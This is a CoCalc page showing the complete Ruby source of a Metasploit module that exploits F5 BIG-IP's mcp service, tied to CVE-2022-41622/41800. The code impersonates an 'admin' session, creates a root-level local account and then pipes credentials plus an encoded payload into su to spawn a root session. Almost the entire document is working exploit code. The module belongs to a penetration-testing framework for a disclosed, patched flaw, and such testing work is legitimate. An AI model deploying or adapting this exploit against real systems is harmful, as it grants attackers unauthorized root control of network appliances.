CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/f5_create_user.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'unix_crypt'
7
8
class MetasploitModule < Msf::Exploit::Local
9
include Msf::Post::Linux::F5Mcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'F5 Big-IP Create Admin User',
17
'Description' => %q{
18
This creates a local user with a username/password and root-level
19
privileges. Note that a root-level account is not required to do this,
20
which makes it a privilege escalation issue.
21
22
Note that this is pretty noisy, since it creates a user account and
23
creates log files and such. Additionally, most (if not all)
24
vulnerabilities in F5 grant root access anyways.
25
26
Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-privesc.rb
27
},
28
'License' => MSF_LICENSE,
29
'Author' => ['Ron Bowes'],
30
'Platform' => [ 'unix', 'linux', 'python' ],
31
'SessionTypes' => ['shell', 'meterpreter'],
32
'References' => [
33
['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
34
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
35
['URL', 'https://support.f5.com/csp/article/K97843387'],
36
],
37
'Privileged' => true,
38
'DisclosureDate' => '2022-11-16',
39
'Arch' => [ ARCH_CMD, ARCH_PYTHON ],
40
'Type' => :unix_cmd,
41
'Targets' => [[ 'Auto', {} ]],
42
'Notes' => {
43
'Stability' => [],
44
'Reliability' => [],
45
'SideEffects' => []
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),
52
OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),
53
54
OptBool.new('CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),
55
])
56
end
57
58
def exploit
59
# Get or generate the username/password
60
fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?
61
username = datastore['USERNAME']
62
63
if datastore['CREATE_SESSION']
64
password = Rex::Text.rand_text_alphanumeric(12)
65
new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
66
67
print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")
68
else
69
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
70
71
print_status("Will attempt to create user #{username} / #{password}")
72
end
73
74
# If the password is already hashed, leave it as-is
75
vprint_status('Hashing the password with SHA512')
76
hashed_password = UnixCrypt::SHA512.build(password)
77
78
if !hashed_password || hashed_password.empty?
79
fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')
80
end
81
82
# These requests have to go in a single 'session', which, to us, is
83
# a single packet (since we don't have AF_UNIX sockets)
84
result = mcp_send_recv([
85
# Authenticate as 'admin' (this probably shouldn't work but does)
86
mcp_build('user_authenticated', 'structure', [
87
mcp_build('user_authenticated_name', 'string', 'admin')
88
]),
89
90
# Start transaction
91
mcp_build('start_transaction', 'structure', [
92
mcp_build('start_transaction_load_type', 'ulong', 0)
93
]),
94
95
# Create the role mapping
96
mcp_build('create', 'structure', [
97
mcp_build('user_role_partition', 'structure', [
98
mcp_build('user_role_partition_user', 'string', username),
99
mcp_build('user_role_partition_role', 'ulong', 0),
100
mcp_build('user_role_partition_partition', 'string', '[All]'),
101
])
102
]),
103
104
# Create the userdb entry
105
mcp_build('create', 'structure', [
106
mcp_build('userdb_entry', 'structure', [
107
mcp_build('userdb_entry_name', 'string', username),
108
mcp_build('userdb_entry_partition_id', 'string', 'Common'),
109
mcp_build('userdb_entry_is_system', 'ulong', 0),
110
mcp_build('userdb_entry_shell', 'string', '/bin/bash'),
111
mcp_build('userdb_entry_is_crypted', 'ulong', 1),
112
mcp_build('userdb_entry_passwd', 'string', hashed_password),
113
])
114
]),
115
116
# Finish the transaction
117
mcp_build('end_transaction', 'structure', [])
118
])
119
120
# Handle errors
121
if result.nil?
122
fail_with(Failure::Unknown, 'Request to mcp appeared to fail')
123
end
124
125
# The only result we really care about is an error
126
error_returned = false
127
result.each do |r|
128
result = mcp_get_single(r, 'result')
129
result_code = mcp_get_single(result, 'result_code')
130
131
# If there's no code or it's zero, just ignore it
132
if result_code.nil? || result_code == 0
133
next
134
end
135
136
# If we're here, an error was returned!
137
error_returned = true
138
139
# Otherwise, try and get result_message
140
result_message = mcp_get_single(result, 'result_message')
141
if result_message.nil?
142
print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")
143
else
144
print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")
145
end
146
end
147
148
# Let them know if it likely worked
149
if !error_returned
150
print_good("Service didn't return an error, so user was likely created!")
151
152
if datastore['CREATE_SESSION']
153
print_status('Attempting create a root session...')
154
155
out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")
156
157
vprint_status("Output from su command: #{out}")
158
end
159
end
160
end
161
end
162
163